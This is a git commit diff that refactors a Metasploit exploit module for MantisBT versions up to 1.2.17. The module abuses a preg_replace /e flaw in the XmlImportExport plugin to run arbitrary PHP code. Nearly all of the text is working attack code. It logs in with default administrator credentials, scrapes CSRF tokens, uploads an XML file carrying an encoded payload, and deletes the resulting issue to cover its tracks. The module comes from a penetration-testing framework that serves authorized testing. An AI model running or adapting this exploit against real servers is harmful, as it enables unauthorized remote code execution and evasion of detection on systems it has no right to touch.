some changes
parent
17032b1eed
commit
7d6b6cba43
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
|
||||
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
|
||||
This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
|
||||
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
|
||||
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
|
||||
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
|
||||
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -53,49 +53,41 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def do_login()
|
||||
print_status("Checking access to MantisBT...")
|
||||
print_status('Checking access to MantisBT...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
|
||||
'vars_get' => {
|
||||
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
|
||||
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Error accesing to MantisBT")
|
||||
return false
|
||||
end
|
||||
session_cookie = res.get_cookies
|
||||
|
||||
@cookies = res.get_cookies
|
||||
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
|
||||
|
||||
print_status('Logging in...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
||||
'cookie' => @cookies,
|
||||
'cookie' => session_cookie,
|
||||
'vars_post' => {
|
||||
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
|
||||
'username' => datastore['username'],
|
||||
'password' => datastore['password'],
|
||||
'secure_session' => 'on',
|
||||
'secure_session' => 'on'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
print_error("Login failed")
|
||||
return false
|
||||
end
|
||||
|
||||
unless res.redirection.to_s !~ /login_page.php/
|
||||
print_error("Wrong credentials")
|
||||
fail_with(Failure::NoAccess)
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
|
||||
|
||||
@cookies = "#{ @cookies } #{ res.get_cookies }"
|
||||
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
|
||||
|
||||
"#{session_cookie} #{res.get_cookies}"
|
||||
end
|
||||
|
||||
def upload_xml(payload_b64, rand_text, is_check)
|
||||
def upload_xml(payload_b64, rand_text, cookies, is_check)
|
||||
|
||||
if is_check
|
||||
timeout = 20
|
||||
|
@ -105,18 +97,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
rand_num = Rex::Text.rand_text_numeric(1, 9)
|
||||
|
||||
print_status("Checking XmlImportExport plugin...")
|
||||
print_status('Checking XmlImportExport plugin...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
|
||||
'cookie' => @cookies,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'page' => 'XmlImportExport/import',
|
||||
'page' => 'XmlImportExport/import'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Error trying to access to XmlImportExport/import page...")
|
||||
print_error('Error trying to access XmlImportExport/import page...')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -124,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
|
||||
csrf_token = Regexp.last_match[1]
|
||||
else
|
||||
print_error("Error trying to read CSRF token")
|
||||
print_error('Error trying to read CSRF token')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -132,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res.body =~ /name="project_id" value="([0-9]+)"/
|
||||
project_id = Regexp.last_match[1]
|
||||
else
|
||||
print_error("Error trying to read project id")
|
||||
print_error('Error trying to read project id')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -141,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
category_id = Regexp.last_match[1]
|
||||
category_name = Regexp.last_match[2]
|
||||
else
|
||||
print_error("Error trying to read default category")
|
||||
print_error('Error trying to read default category')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -149,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res.body =~ /name="max_file_size" value="([0-9]+)"/
|
||||
max_file_size = Regexp.last_match[1]
|
||||
else
|
||||
print_error("Error trying to read default max file size")
|
||||
print_error('Error trying to read default max file size')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -157,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res.body =~ /name="step" value="([0-9]+)"/
|
||||
step = Regexp.last_match[1]
|
||||
else
|
||||
print_error("Error trying to read default step value")
|
||||
print_error('Error trying to read default step value')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -197,13 +189,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
|
||||
data_post = data.to_s
|
||||
|
||||
print_status("Sending payload...")
|
||||
print_status('Sending payload...')
|
||||
return send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
|
||||
'cookie' => @cookies,
|
||||
'cookie' => cookies,
|
||||
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
|
||||
'data' => data_post,
|
||||
'data' => data_post
|
||||
}, timeout)
|
||||
end
|
||||
|
||||
|
@ -220,37 +212,37 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
rand_text = Rex::Text.rand_text_alpha(5, 8)
|
||||
|
||||
do_login()
|
||||
cookies = do_login()
|
||||
|
||||
res_payload = upload_xml(payload_b64, rand_text, is_check)
|
||||
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
|
||||
|
||||
# When a meterpreter session is active, communication with the application is lost.
|
||||
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
|
||||
do_login()
|
||||
cookies = do_login()
|
||||
|
||||
print_status("Deleting the issue (#{ rand_text })...")
|
||||
print_status("Deleting issue (#{ rand_text })...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
|
||||
'cookie' => @cookies,
|
||||
'cookie' => cookies
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Error trying to access to My View page")
|
||||
print_error('Error trying to access My View page')
|
||||
return false
|
||||
end
|
||||
|
||||
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
|
||||
issue_id = Regexp.last_match[1]
|
||||
else
|
||||
print_error("Error trying to retrieve the issue id")
|
||||
print_error('Error trying to retrieve issue id')
|
||||
return false
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
|
||||
'cookie' => @cookies,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'bug_arr[]' => issue_id,
|
||||
'action' => 'DELETE',
|
||||
|
@ -260,14 +252,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
|
||||
csrf_token = Regexp.last_match[1]
|
||||
else
|
||||
print_error("Error trying to retrieve CSRF token")
|
||||
print_error('Error trying to retrieve CSRF token')
|
||||
return false
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
|
||||
'cookie' => @cookies,
|
||||
'cookie' => cookies,
|
||||
'vars_post' => {
|
||||
'bug_actiongroup_DELETE_token' => csrf_token,
|
||||
'bug_arr[]' => issue_id,
|
||||
|
@ -276,7 +268,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
|
||||
print_good("Issue number (#{ issue_id }) removed")
|
||||
print_status("Issue number (#{ issue_id }) removed")
|
||||
else
|
||||
print_error("Removing issue number (#{ issue_id }) has failed")
|
||||
return false
|
||||
|
@ -292,7 +284,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
unless exec_php(payload.encoded)
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
|
||||
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue